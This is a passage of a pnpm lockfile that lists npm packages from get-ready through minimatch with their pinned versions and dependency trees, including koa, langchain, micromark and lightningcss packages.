get-ready@3.4.0: {}\n\n  get-stream@6.0.1: {}\n\n  get-stream@9.0.1:\n    dependencies:\n      '@sec-ant/readable-stream': 0.4.1\n      is-stream: 4.0.1\n\n  get-tsconfig@4.13.0:\n    dependencies:\n      resolve-pkg-maps: 1.0.0\n\n  glob-parent@5.1.2:\n    dependencies:\n      is-glob: 4.0.3\n\n  glob@10.5.0:\n    dependencies:\n      foreground-child: 3.3.1\n      jackspeak: 3.4.3\n      minimatch: 9.0.5\n      minipass: 7.1.2\n      package-json-from-dist: 1.0.1\n      path-scurry: 1.11.1\n\n  glob@11.0.3:\n    dependencies:\n      foreground-child: 3.3.1\n      jackspeak: 4.1.1\n      minimatch: 10.1.1\n      minipass: 7.1.2\n      package-json-from-dist: 1.0.1\n      path-scurry: 2.0.1\n\n  glob@13.0.0:\n    dependencies:\n      minimatch: 10.1.1\n      minipass: 7.1.2\n      path-scurry: 2.0.1\n\n  glob@7.2.3:\n    dependencies:\n      fs.realpath: 1.0.0\n      inflight: 1.0.6\n      inherits: 2.0.4\n      minimatch: 3.1.2\n      once: 1.4.0\n      path-is-absolute: 1.0.1\n\n  glob@8.1.0:\n    dependencies:\n      fs.realpath: 1.0.0\n      inflight: 1.0.6\n      inherits: 2.0.4\n      minimatch: 5.1.6\n      once: 1.4.0\n\n  globby@11.1.0:\n    dependencies:\n      array-union: 2.1.0\n      dir-glob: 3.0.1\n      fast-glob: 3.3.3\n      ignore: 5.3.2\n      merge2: 1.4.1\n      slash: 3.0.0\n\n  globby@14.1.0:\n    dependencies:\n      '@sindresorhus/merge-streams': 2.3.0\n      fast-glob: 3.3.3\n      ignore: 7.0.5\n      path-type: 6.0.0\n      slash: 5.1.0\n      unicorn-magic: 0.3.0\n\n  gopd@1.2.0: {}\n\n  graceful-fs@4.2.11: {}\n\n  graceful-process@2.2.0:\n    dependencies:\n      read-env-value: 1.1.0\n\n  graceful@2.0.0:\n    dependencies:\n      '@fengmk2/ps-tree': 2.0.2\n      humanize-ms: 2.0.0\n\n  gray-matter@4.0.3:\n    dependencies:\n      js-yaml: 3.14.2\n      kind-of: 6.0.3\n      section-matter: 1.0.0\n      strip-bom-string: 1.0.0\n\n  has-bigints@1.1.0: {}\n\n  has-flag@3.0.0: {}\n\n  has-flag@4.0.0: {}\n\n  has-flag@5.0.1: {}\n\n  has-property-descriptors@1.0.2:\n    dependencies:\n      es-define-property: 1.0.1\n\n  has-symbols@1.1.0: {}\n\n  has-tostringtag@1.0.2:\n    dependencies:\n      has-symbols: 1.1.0\n\n  has-unicode@2.0.1: {}\n\n  hasown@2.0.2:\n    dependencies:\n      function-bind: 1.1.2\n\n  hast-util-to-html@9.0.5:\n    dependencies:\n      '@types/hast': 3.0.4\n      '@types/unist': 3.0.3\n      ccount: 2.0.1\n      comma-separated-tokens: 2.0.3\n      hast-util-whitespace: 3.0.0\n      html-void-elements: 3.0.0\n      mdast-util-to-hast: 13.2.0\n      property-information: 7.1.0\n      space-separated-tokens: 2.0.2\n      stringify-entities: 4.0.4\n      zwitch: 2.0.4\n\n  hast-util-whitespace@3.0.0:\n    dependencies:\n      '@types/hast': 3.0.4\n\n  he@1.2.0: {}\n\n  header-case@1.0.1:\n    dependencies:\n      no-case: 2.3.2\n      upper-case: 1.1.3\n\n  heredoc@1.3.1: {}\n\n  hono@4.11.10: {}\n\n  hookable@5.5.3: {}\n\n  hookable@6.0.1: {}\n\n  hosted-git-info@4.1.0:\n    dependencies:\n      lru-cache: 6.0.0\n\n  hosted-git-info@6.1.3:\n    dependencies:\n      lru-cache: 7.18.3\n\n  htm@3.1.1: {}\n\n  html-escaper@2.0.2: {}\n\n  html-void-elements@3.0.0: {}\n\n  htmlparser2@10.0.0:\n    dependencies:\n      domelementtype: 2.3.0\n      domhandler: 5.0.3\n      domutils: 3.2.2\n      entities: 6.0.1\n\n  http-cache-semantics@4.2.0: {}\n\n  http-errors@1.6.3:\n    dependencies:\n      depd: 1.1.2\n      inherits: 2.0.3\n      setprototypeof: 1.1.0\n      statuses: 1.5.0\n\n  http-errors@1.8.1:\n    dependencies:\n      depd: 1.1.2\n      inherits: 2.0.4\n      setprototypeof: 1.2.0\n      statuses: 1.5.0\n      toidentifier: 1.0.1\n\n  http-errors@2.0.0:\n    dependencies:\n      depd: 2.0.0\n      inherits: 2.0.4\n      setprototypeof: 1.2.0\n      statuses: 2.0.1\n      toidentifier: 1.0.1\n\n  http-errors@2.0.1:\n    dependencies:\n      depd: 2.0.0\n      inherits: 2.0.4\n      setprototypeof: 1.2.0\n      statuses: 2.0.2\n      toidentifier: 1.0.1\n\n  http-proxy-agent@5.0.0:\n    dependencies:\n      '@tootallnate/once': 2.0.0\n      agent-base: 6.0.2\n      debug: 4.4.3(supports-color@8.1.1)\n    transitivePeerDependencies:\n      - supports-color\n\n  https-proxy-agent@5.0.1:\n    dependencies:\n      agent-base: 6.0.2\n      debug: 4.4.3(supports-color@8.1.1)\n    transitivePeerDependencies:\n      - supports-color\n\n  human-signals@2.1.0: {}\n\n  human-signals@8.0.1: {}\n\n  humanize-ms@1.2.1:\n    dependencies:\n      ms: 2.1.3\n\n  humanize-ms@2.0.0:\n    dependencies:\n      ms: 2.1.3\n\n  husky@9.1.7: {}\n\n  iconv-lite@0.4.24:\n    dependencies:\n      safer-buffer: 2.1.2\n\n  iconv-lite@0.6.3:\n    dependencies:\n      safer-buffer: 2.1.2\n\n  iconv-lite@0.7.0:\n    dependencies:\n      safer-buffer: 2.1.2\n\n  ieee754@1.2.1: {}\n\n  ignore-walk@6.0.5:\n    dependencies:\n      minimatch: 9.0.5\n\n  ignore@5.3.2: {}\n\n  ignore@7.0.5: {}\n\n  image-size@0.5.5:\n    optional: true\n\n  immutable@5.1.4:\n    optional: true\n\n  import-without-cache@0.2.5: {}\n\n  imurmurhash@0.1.4: {}\n\n  indent-string@4.0.0: {}\n\n  infer-owner@1.0.4: {}\n\n  inflation@2.1.0: {}\n\n  inflection@3.0.2: {}\n\n  inflight@1.0.6:\n    dependencies:\n      once: 1.4.0\n      wrappy: 1.0.2\n\n  inherits@2.0.3: {}\n\n  inherits@2.0.4: {}\n\n  ini@1.3.8: {}\n\n  ini@6.0.0: {}\n\n  internal-slot@1.1.0:\n    dependencies:\n      es-errors: 1.3.0\n      hasown: 2.0.2\n      side-channel: 1.1.0\n\n  ioredis-mock@8.13.1(@types/ioredis-mock@8.2.6(ioredis@5.8.1))(ioredis@5.8.1):\n    dependencies:\n      '@ioredis/as-callback': 3.0.0\n      '@ioredis/commands': 1.4.0\n      '@types/ioredis-mock': 8.2.6(ioredis@5.8.1)\n      fengari: 0.1.5\n      fengari-interop: 0.1.4(fengari@0.1.5)\n      ioredis: 5.8.1\n      semver: 7.7.3\n\n  ioredis@5.8.1:\n    dependencies:\n      '@ioredis/commands': 1.4.0\n      cluster-key-slot: 1.1.2\n      debug: 4.4.3(supports-color@8.1.1)\n      denque: 2.1.0\n      lodash.defaults: 4.2.0\n      lodash.isarguments: 3.1.0\n      redis-errors: 1.2.0\n      redis-parser: 3.0.0\n      standard-as-callback: 2.1.0\n    transitivePeerDependencies:\n      - supports-color\n\n  ip-address@10.0.1: {}\n\n  ipaddr.js@1.9.1: {}\n\n  is-arguments@1.2.0:\n    dependencies:\n      call-bound: 1.0.4\n      has-tostringtag: 1.0.2\n\n  is-array-buffer@3.0.5:\n    dependencies:\n      call-bind: 1.0.8\n      call-bound: 1.0.4\n      get-intrinsic: 1.3.0\n\n  is-bigint@1.1.0:\n    dependencies:\n      has-bigints: 1.1.0\n\n  is-binary-path@2.1.0:\n    dependencies:\n      binary-extensions: 2.3.0\n    optional: true\n\n  is-boolean-object@1.2.2:\n    dependencies:\n      call-bound: 1.0.4\n      has-tostringtag: 1.0.2\n\n  is-callable@1.2.7: {}\n\n  is-class-hotfix@0.0.6: {}\n\n  is-core-module@2.16.1:\n    dependencies:\n      hasown: 2.0.2\n\n  is-date-object@1.1.0:\n    dependencies:\n      call-bound: 1.0.4\n      has-tostringtag: 1.0.2\n\n  is-docker@2.2.1: {}\n\n  is-extendable@0.1.1: {}\n\n  is-extglob@2.1.1: {}\n\n  is-fullwidth-code-point@2.0.0: {}\n\n  is-fullwidth-code-point@3.0.0: {}\n\n  is-fullwidth-code-point@5.1.0:\n    dependencies:\n      get-east-asian-width: 1.4.0\n\n  is-glob@4.0.3:\n    dependencies:\n      is-extglob: 2.1.1\n\n  is-interactive@1.0.0: {}\n\n  is-lambda@1.0.1: {}\n\n  is-lower-case@1.1.3:\n    dependencies:\n      lower-case: 1.1.4\n\n  is-map@2.0.3: {}\n\n  is-network-error@1.3.0: {}\n\n  is-number-object@1.1.1:\n    dependencies:\n      call-bound: 1.0.4\n      has-tostringtag: 1.0.2\n\n  is-number@7.0.0: {}\n\n  is-path-inside@3.0.3: {}\n\n  is-plain-obj@2.1.0: {}\n\n  is-plain-obj@4.1.0: {}\n\n  is-promise@4.0.0: {}\n\n  is-property@1.0.2: {}\n\n  is-regex@1.2.1:\n    dependencies:\n      call-bound: 1.0.4\n      gopd: 1.2.0\n      has-tostringtag: 1.0.2\n      hasown: 2.0.2\n\n  is-set@2.0.3: {}\n\n  is-shared-array-buffer@1.0.4:\n    dependencies:\n      call-bound: 1.0.4\n\n  is-stream@2.0.1: {}\n\n  is-stream@4.0.1: {}\n\n  is-string@1.1.1:\n    dependencies:\n      call-bound: 1.0.4\n      has-tostringtag: 1.0.2\n\n  is-symbol@1.1.1:\n    dependencies:\n      call-bound: 1.0.4\n      has-symbols: 1.1.0\n      safe-regex-test: 1.1.0\n\n  is-type-of@1.4.0:\n    dependencies:\n      core-util-is: 1.0.3\n      is-class-hotfix: 0.0.6\n      isstream: 0.1.2\n\n  is-type-of@2.2.0: {}\n\n  is-typedarray@1.0.0: {}\n\n  is-unicode-supported@0.1.0: {}\n\n  is-unicode-supported@2.1.0: {}\n\n  is-upper-case@1.1.2:\n    dependencies:\n      upper-case: 1.1.3\n\n  is-weakmap@2.0.2: {}\n\n  is-weakset@2.0.4:\n    dependencies:\n      call-bound: 1.0.4\n      get-intrinsic: 1.3.0\n\n  is-what@3.14.1:\n    optional: true\n\n  is-what@4.1.16: {}\n\n  is-windows@1.0.2: {}\n\n  is-wsl@2.2.0:\n    dependencies:\n      is-docker: 2.2.1\n\n  isarray@0.0.1: {}\n\n  isarray@2.0.5: {}\n\n  isexe@2.0.0: {}\n\n  isstream@0.1.2: {}\n\n  istanbul-lib-coverage@3.2.2: {}\n\n  istanbul-lib-report@3.0.1:\n    dependencies:\n      istanbul-lib-coverage: 3.2.2\n      make-dir: 4.0.0\n      supports-color: 7.2.0\n\n  istanbul-lib-source-maps@5.0.6:\n    dependencies:\n      '@jridgewell/trace-mapping': 0.3.31\n      debug: 4.4.3(supports-color@8.1.1)\n      istanbul-lib-coverage: 3.2.2\n    transitivePeerDependencies:\n      - supports-color\n\n  istanbul-reports@3.2.0:\n    dependencies:\n      html-escaper: 2.0.2\n      istanbul-lib-report: 3.0.1\n\n  jackspeak@3.4.3:\n    dependencies:\n      '@isaacs/cliui': 8.0.2\n    optionalDependencies:\n      '@pkgjs/parseargs': 0.11.0\n\n  jackspeak@4.1.1:\n    dependencies:\n      '@isaacs/cliui': 8.0.2\n\n  jake@10.9.4:\n    dependencies:\n      async: 3.2.6\n      filelist: 1.0.4\n      picocolors: 1.1.1\n\n  jest-changed-files@30.2.0:\n    dependencies:\n      execa: 5.1.1\n      jest-util: 30.2.0\n      p-limit: 3.1.0\n\n  jest-regex-util@30.0.1: {}\n\n  jest-util@30.2.0:\n    dependencies:\n      '@jest/types': 30.2.0\n      '@types/node': 24.10.2\n      chalk: 4.1.2\n      ci-info: 4.3.1\n      graceful-fs: 4.2.11\n      picomatch: 4.0.3\n\n  jiti@2.6.1:\n    optional: true\n\n  jose@6.1.3: {}\n\n  js-beautify@1.15.4:\n    dependencies:\n      config-chain: 1.1.13\n      editorconfig: 1.0.4\n      glob: 10.5.0\n      js-cookie: 3.0.5\n      nopt: 7.2.1\n\n  js-cookie@3.0.5: {}\n\n  js-tiktoken@1.0.21:\n    dependencies:\n      base64-js: 1.5.1\n\n  js-tokens@9.0.1: {}\n\n  js-yaml@3.14.2:\n    dependencies:\n      argparse: 1.0.10\n      esprima: 4.0.1\n\n  js-yaml@4.1.1:\n    dependencies:\n      argparse: 2.0.1\n\n  jsesc@3.1.0: {}\n\n  json-parse-even-better-errors@3.0.2: {}\n\n  json-schema-traverse@1.0.0: {}\n\n  json-schema-typed@8.0.2: {}\n\n  json-stringify-nice@1.1.4: {}\n\n  json-stringify-safe@5.0.1: {}\n\n  json5@2.2.3: {}\n\n  jsonfile@4.0.0:\n    optionalDependencies:\n      graceful-fs: 4.2.11\n\n  jsonp-body@2.0.0: {}\n\n  jsonparse@1.3.1: {}\n\n  junk@4.0.1: {}\n\n  just-diff-apply@5.5.0: {}\n\n  just-diff@6.0.2: {}\n\n  keygrip@1.1.0:\n    dependencies:\n      tsscmp: 1.0.6\n\n  kind-of@6.0.3: {}\n\n  koa-bodyparser@4.4.1:\n    dependencies:\n      co-body: 6.2.0\n      copy-to: 2.0.1\n      type-is: 1.6.18\n\n  koa-compose@4.1.0: {}\n\n  koa-onerror@5.0.1:\n    dependencies:\n      escape-html: 1.0.3\n      stream-wormhole: 2.0.1\n\n  koa-override@4.0.0: {}\n\n  koa-range@0.3.0:\n    dependencies:\n      stream-slice: 0.1.2\n\n  koa-send@5.0.1:\n    dependencies:\n      debug: 4.4.3(supports-color@8.1.1)\n      http-errors: 1.8.1\n      resolve-path: 1.4.0\n    transitivePeerDependencies:\n      - supports-color\n\n  koa-session@7.0.2:\n    dependencies:\n      crc: 3.8.0\n      is-type-of: 2.2.0\n      zod: 3.25.76\n\n  koa-static@5.0.0:\n    dependencies:\n      debug: 3.2.7\n      koa-send: 5.0.1\n    transitivePeerDependencies:\n      - supports-color\n\n  langchain@1.2.25(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(openai@6.22.0(ws@8.19.0)(zod@3.25.76))(zod-to-json-schema@3.25.1(zod@3.25.76)):\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      '@langchain/langgraph': 1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(zod-to-json-schema@3.25.1(zod@3.25.76))(zod@4.3.6)\n      '@langchain/langgraph-checkpoint': 1.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))\n      langsmith: 0.5.4(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      uuid: 10.0.0\n      zod: 4.3.6\n    transitivePeerDependencies:\n      - '@opentelemetry/api'\n      - '@opentelemetry/exporter-trace-otlp-proto'\n      - '@opentelemetry/sdk-trace-base'\n      - openai\n      - react\n      - react-dom\n      - zod-to-json-schema\n\n  langchain@1.2.25(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(openai@6.22.0(ws@8.19.0)(zod@4.3.6))(zod-to-json-schema@3.25.1(zod@4.3.6)):\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n      '@langchain/langgraph': 1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(zod-to-json-schema@3.25.1(zod@4.3.6))(zod@4.3.6)\n      '@langchain/langgraph-checkpoint': 1.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))\n      langsmith: 0.5.4(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n      uuid: 10.0.0\n      zod: 4.3.6\n    transitivePeerDependencies:\n      - '@opentelemetry/api'\n      - '@opentelemetry/exporter-trace-otlp-proto'\n      - '@opentelemetry/sdk-trace-base'\n      - openai\n      - react\n      - react-dom\n      - zod-to-json-schema\n\n  langsmith@0.5.4(openai@6.22.0(ws@8.19.0)(zod@3.25.76)):\n    dependencies:\n      '@types/uuid': 10.0.0\n      chalk: 4.1.2\n      console-table-printer: 2.15.0\n      p-queue: 6.6.2\n      semver: 7.7.3\n      uuid: 10.0.0\n    optionalDependencies:\n      openai: 6.22.0(ws@8.19.0)(zod@3.25.76)\n\n  langsmith@0.5.4(openai@6.22.0(ws@8.19.0)(zod@4.3.6)):\n    dependencies:\n      '@types/uuid': 10.0.0\n      chalk: 4.1.2\n      console-table-printer: 2.15.0\n      p-queue: 6.6.2\n      semver: 7.7.3\n      uuid: 10.0.0\n    optionalDependencies:\n      openai: 6.22.0(ws@8.19.0)(zod@4.3.6)\n\n  leoric@2.13.8(mysql2@3.15.2):\n    dependencies:\n      dayjs: 1.11.18\n      debug: 3.2.7\n      deep-equal: 2.2.3\n      heredoc: 1.3.1\n      pluralize: 7.0.0\n      reflect-metadata: 0.1.14\n      sqlstring: 2.3.3\n      tslib: 2.8.1\n      validator: 13.15.15\n    optionalDependencies:\n      mysql2: 3.15.2\n    transitivePeerDependencies:\n      - supports-color\n\n  less@4.4.2:\n    dependencies:\n      copy-anything: 2.0.6\n      parse-node-version: 1.0.1\n      tslib: 2.8.1\n    optionalDependencies:\n      errno: 0.1.8\n      graceful-fs: 4.2.11\n      image-size: 0.5.5\n      make-dir: 2.1.0\n      mime: 1.6.0\n      needle: 3.3.1\n      source-map: 0.6.1\n    optional: true\n\n  lightningcss-android-arm64@1.30.2:\n    optional: true\n\n  lightningcss-darwin-arm64@1.30.2:\n    optional: true\n\n  lightningcss-darwin-x64@1.30.2:\n    optional: true\n\n  lightningcss-freebsd-x64@1.30.2:\n    optional: true\n\n  lightningcss-linux-arm-gnueabihf@1.30.2:\n    optional: true\n\n  lightningcss-linux-arm64-gnu@1.30.2:\n    optional: true\n\n  lightningcss-linux-arm64-musl@1.30.2:\n    optional: true\n\n  lightningcss-linux-x64-gnu@1.30.2:\n    optional: true\n\n  lightningcss-linux-x64-musl@1.30.2:\n    optional: true\n\n  lightningcss-win32-arm64-msvc@1.30.2:\n    optional: true\n\n  lightningcss-win32-x64-msvc@1.30.2:\n    optional: true\n\n  lightningcss@1.30.2:\n    dependencies:\n      detect-libc: 2.1.2\n    optionalDependencies:\n      lightningcss-android-arm64: 1.30.2\n      lightningcss-darwin-arm64: 1.30.2\n      lightningcss-darwin-x64: 1.30.2\n      lightningcss-freebsd-x64: 1.30.2\n      lightningcss-linux-arm-gnueabihf: 1.30.2\n      lightningcss-linux-arm64-gnu: 1.30.2\n      lightningcss-linux-arm64-musl: 1.30.2\n      lightningcss-linux-x64-gnu: 1.30.2\n      lightningcss-linux-x64-musl: 1.30.2\n      lightningcss-win32-arm64-msvc: 1.30.2\n      lightningcss-win32-x64-msvc: 1.30.2\n\n  lilconfig@3.1.3: {}\n\n  linkify-it@5.0.0:\n    dependencies:\n      uc.micro: 2.1.0\n\n  lint-staged@16.2.7:\n    dependencies:\n      commander: 14.0.2\n      listr2: 9.0.5\n      micromatch: 4.0.8\n      nano-spawn: 2.0.0\n      pidtree: 0.6.0\n      string-argv: 0.3.2\n      yaml: 2.8.2\n\n  listr2@9.0.5:\n    dependencies:\n      cli-truncate: 5.1.1\n      colorette: 2.0.20\n      eventemitter3: 5.0.1\n      log-update: 6.1.0\n      rfdc: 1.4.1\n      wrap-ansi: 9.0.2\n\n  locate-path@3.0.0:\n    dependencies:\n      p-locate: 3.0.0\n      path-exists: 3.0.0\n\n  locate-path@6.0.0:\n    dependencies:\n      p-locate: 5.0.0\n\n  lodash.defaults@4.2.0: {}\n\n  lodash.isarguments@3.1.0: {}\n\n  lodash.ismatch@4.4.0: {}\n\n  lodash.snakecase@4.1.1: {}\n\n  lodash@4.17.21: {}\n\n  log-symbols@3.0.0:\n    dependencies:\n      chalk: 2.4.2\n\n  log-symbols@4.1.0:\n    dependencies:\n      chalk: 4.1.2\n      is-unicode-supported: 0.1.0\n\n  log-update@6.1.0:\n    dependencies:\n      ansi-escapes: 7.2.0\n      cli-cursor: 5.0.0\n      slice-ansi: 7.1.2\n      strip-ansi: 7.1.2\n      wrap-ansi: 9.0.2\n\n  long@4.0.0: {}\n\n  long@5.3.2: {}\n\n  longest-streak@3.1.0: {}\n\n  lower-case-first@1.0.2:\n    dependencies:\n      lower-case: 1.1.4\n\n  lower-case@1.1.4: {}\n\n  lru-cache@10.4.3: {}\n\n  lru-cache@11.2.4: {}\n\n  lru-cache@6.0.0:\n    dependencies:\n      yallist: 4.0.0\n\n  lru-cache@7.18.3: {}\n\n  lru.min@1.1.2: {}\n\n  luxon@3.7.2: {}\n\n  magic-string@0.30.21:\n    dependencies:\n      '@jridgewell/sourcemap-codec': 1.5.5\n\n  magicast@0.5.1:\n    dependencies:\n      '@babel/parser': 7.28.5\n      '@babel/types': 7.28.5\n      source-map-js: 1.2.1\n\n  make-dir@2.1.0:\n    dependencies:\n      pify: 4.0.1\n      semver: 5.7.2\n    optional: true\n\n  make-dir@4.0.0:\n    dependencies:\n      semver: 7.7.3\n\n  make-error@1.3.6: {}\n\n  make-fetch-happen@10.2.1:\n    dependencies:\n      agentkeepalive: 4.6.0\n      cacache: 16.1.3\n      http-cache-semantics: 4.2.0\n      http-proxy-agent: 5.0.0\n      https-proxy-agent: 5.0.1\n      is-lambda: 1.0.1\n      lru-cache: 7.18.3\n      minipass: 3.3.6\n      minipass-collect: 1.0.2\n      minipass-fetch: 2.1.2\n      minipass-flush: 1.0.5\n      minipass-pipeline: 1.2.4\n      negotiator: 0.6.4\n      promise-retry: 2.0.1\n      socks-proxy-agent: 7.0.0\n      ssri: 9.0.1\n    transitivePeerDependencies:\n      - bluebird\n      - supports-color\n\n  make-fetch-happen@11.1.1:\n    dependencies:\n      agentkeepalive: 4.6.0\n      cacache: 17.1.4\n      http-cache-semantics: 4.2.0\n      http-proxy-agent: 5.0.0\n      https-proxy-agent: 5.0.1\n      is-lambda: 1.0.1\n      lru-cache: 7.18.3\n      minipass: 5.0.0\n      minipass-fetch: 3.0.5\n      minipass-flush: 1.0.5\n      minipass-pipeline: 1.2.4\n      negotiator: 0.6.4\n      promise-retry: 2.0.1\n      socks-proxy-agent: 7.0.0\n      ssri: 10.0.6\n    transitivePeerDependencies:\n      - supports-color\n\n  map-stream@0.0.7: {}\n\n  mark.js@8.11.1: {}\n\n  markdown-it@14.1.0:\n    dependencies:\n      argparse: 2.0.1\n      entities: 4.5.0\n      linkify-it: 5.0.0\n      mdurl: 2.0.0\n      punycode.js: 2.3.1\n      uc.micro: 2.1.0\n\n  markdown-title@1.0.2: {}\n\n  marked@17.0.0: {}\n\n  matcher@4.0.0:\n    dependencies:\n      escape-string-regexp: 4.0.0\n\n  math-intrinsics@1.1.0: {}\n\n  mdast-util-from-markdown@2.0.2:\n    dependencies:\n      '@types/mdast': 4.0.4\n      '@types/unist': 3.0.3\n      decode-named-character-reference: 1.2.0\n      devlop: 1.1.0\n      mdast-util-to-string: 4.0.0\n      micromark: 4.0.2\n      micromark-util-decode-numeric-character-reference: 2.0.2\n      micromark-util-decode-string: 2.0.1\n      micromark-util-normalize-identifier: 2.0.1\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n      unist-util-stringify-position: 4.0.0\n    transitivePeerDependencies:\n      - supports-color\n\n  mdast-util-frontmatter@2.0.1:\n    dependencies:\n      '@types/mdast': 4.0.4\n      devlop: 1.1.0\n      escape-string-regexp: 5.0.0\n      mdast-util-from-markdown: 2.0.2\n      mdast-util-to-markdown: 2.1.2\n      micromark-extension-frontmatter: 2.0.0\n    transitivePeerDependencies:\n      - supports-color\n\n  mdast-util-phrasing@4.1.0:\n    dependencies:\n      '@types/mdast': 4.0.4\n      unist-util-is: 6.0.1\n\n  mdast-util-to-hast@13.2.0:\n    dependencies:\n      '@types/hast': 3.0.4\n      '@types/mdast': 4.0.4\n      '@ungap/structured-clone': 1.3.0\n      devlop: 1.1.0\n      micromark-util-sanitize-uri: 2.0.1\n      trim-lines: 3.0.1\n      unist-util-position: 5.0.0\n      unist-util-visit: 5.0.0\n      vfile: 6.0.3\n\n  mdast-util-to-markdown@2.1.2:\n    dependencies:\n      '@types/mdast': 4.0.4\n      '@types/unist': 3.0.3\n      longest-streak: 3.1.0\n      mdast-util-phrasing: 4.1.0\n      mdast-util-to-string: 4.0.0\n      micromark-util-classify-character: 2.0.1\n      micromark-util-decode-string: 2.0.1\n      unist-util-visit: 5.0.0\n      zwitch: 2.0.4\n\n  mdast-util-to-string@4.0.0:\n    dependencies:\n      '@types/mdast': 4.0.4\n\n  mdurl@2.0.0: {}\n\n  media-typer@0.3.0: {}\n\n  media-typer@1.1.0: {}\n\n  merge-descriptors@1.0.3: {}\n\n  merge-descriptors@2.0.0: {}\n\n  merge-stream@2.0.0: {}\n\n  merge2@1.4.1: {}\n\n  methods@1.1.2: {}\n\n  micromark-core-commonmark@2.0.3:\n    dependencies:\n      decode-named-character-reference: 1.2.0\n      devlop: 1.1.0\n      micromark-factory-destination: 2.0.1\n      micromark-factory-label: 2.0.1\n      micromark-factory-space: 2.0.1\n      micromark-factory-title: 2.0.1\n      micromark-factory-whitespace: 2.0.1\n      micromark-util-character: 2.1.1\n      micromark-util-chunked: 2.0.1\n      micromark-util-classify-character: 2.0.1\n      micromark-util-html-tag-name: 2.0.1\n      micromark-util-normalize-identifier: 2.0.1\n      micromark-util-resolve-all: 2.0.1\n      micromark-util-subtokenize: 2.1.0\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-extension-frontmatter@2.0.0:\n    dependencies:\n      fault: 2.0.1\n      micromark-util-character: 2.1.1\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-factory-destination@2.0.1:\n    dependencies:\n      micromark-util-character: 2.1.1\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-factory-label@2.0.1:\n    dependencies:\n      devlop: 1.1.0\n      micromark-util-character: 2.1.1\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-factory-space@2.0.1:\n    dependencies:\n      micromark-util-character: 2.1.1\n      micromark-util-types: 2.0.2\n\n  micromark-factory-title@2.0.1:\n    dependencies:\n      micromark-factory-space: 2.0.1\n      micromark-util-character: 2.1.1\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-factory-whitespace@2.0.1:\n    dependencies:\n      micromark-factory-space: 2.0.1\n      micromark-util-character: 2.1.1\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-util-character@2.1.1:\n    dependencies:\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-util-chunked@2.0.1:\n    dependencies:\n      micromark-util-symbol: 2.0.1\n\n  micromark-util-classify-character@2.0.1:\n    dependencies:\n      micromark-util-character: 2.1.1\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-util-combine-extensions@2.0.1:\n    dependencies:\n      micromark-util-chunked: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-util-decode-numeric-character-reference@2.0.2:\n    dependencies:\n      micromark-util-symbol: 2.0.1\n\n  micromark-util-decode-string@2.0.1:\n    dependencies:\n      decode-named-character-reference: 1.2.0\n      micromark-util-character: 2.1.1\n      micromark-util-decode-numeric-character-reference: 2.0.2\n      micromark-util-symbol: 2.0.1\n\n  micromark-util-encode@2.0.1: {}\n\n  micromark-util-html-tag-name@2.0.1: {}\n\n  micromark-util-normalize-identifier@2.0.1:\n    dependencies:\n      micromark-util-symbol: 2.0.1\n\n  micromark-util-resolve-all@2.0.1:\n    dependencies:\n      micromark-util-types: 2.0.2\n\n  micromark-util-sanitize-uri@2.0.1:\n    dependencies:\n      micromark-util-character: 2.1.1\n      micromark-util-encode: 2.0.1\n      micromark-util-symbol: 2.0.1\n\n  micromark-util-subtokenize@2.1.0:\n    dependencies:\n      devlop: 1.1.0\n      micromark-util-chunked: 2.0.1\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n\n  micromark-util-symbol@2.0.1: {}\n\n  micromark-util-types@2.0.2: {}\n\n  micromark@4.0.2:\n    dependencies:\n      '@types/debug': 4.1.12\n      debug: 4.4.3(supports-color@8.1.1)\n      decode-named-character-reference: 1.2.0\n      devlop: 1.1.0\n      micromark-core-commonmark: 2.0.3\n      micromark-factory-space: 2.0.1\n      micromark-util-character: 2.1.1\n      micromark-util-chunked: 2.0.1\n      micromark-util-combine-extensions: 2.0.1\n      micromark-util-decode-numeric-character-reference: 2.0.2\n      micromark-util-encode: 2.0.1\n      micromark-util-normalize-identifier: 2.0.1\n      micromark-util-resolve-all: 2.0.1\n      micromark-util-sanitize-uri: 2.0.1\n      micromark-util-subtokenize: 2.1.0\n      micromark-util-symbol: 2.0.1\n      micromark-util-types: 2.0.2\n    transitivePeerDependencies:\n      - supports-color\n\n  micromatch@4.0.8:\n    dependencies:\n      braces: 3.0.3\n      picomatch: 2.3.1\n\n  millify@6.1.0:\n    dependencies:\n      yargs: 17.7.2\n\n  mime-db@1.52.0: {}\n\n  mime-db@1.54.0: {}\n\n  mime-types@2.1.35:\n    dependencies:\n      mime-db: 1.52.0\n\n  mime-types@3.0.2:\n    dependencies:\n      mime-db: 1.54.0\n\n  mime@1.6.0: {}\n\n  mime@2.6.0: {}\n\n  mime@3.0.0: {}\n\n  mimic-fn@2.1.0: {}\n\n  mimic-function@5.0.1: {}\n\n  minimatch@10.1.1:\n    dependencies:\n      '@isaacs/brace-expansion': 5.0.0\n\n  minimatch@3.1.2:\n    dependencies:\n      brace-expansion: 1.1.12\n\n  minimatch@5.1.6:\n    dependencies:\n      brace-expansion: 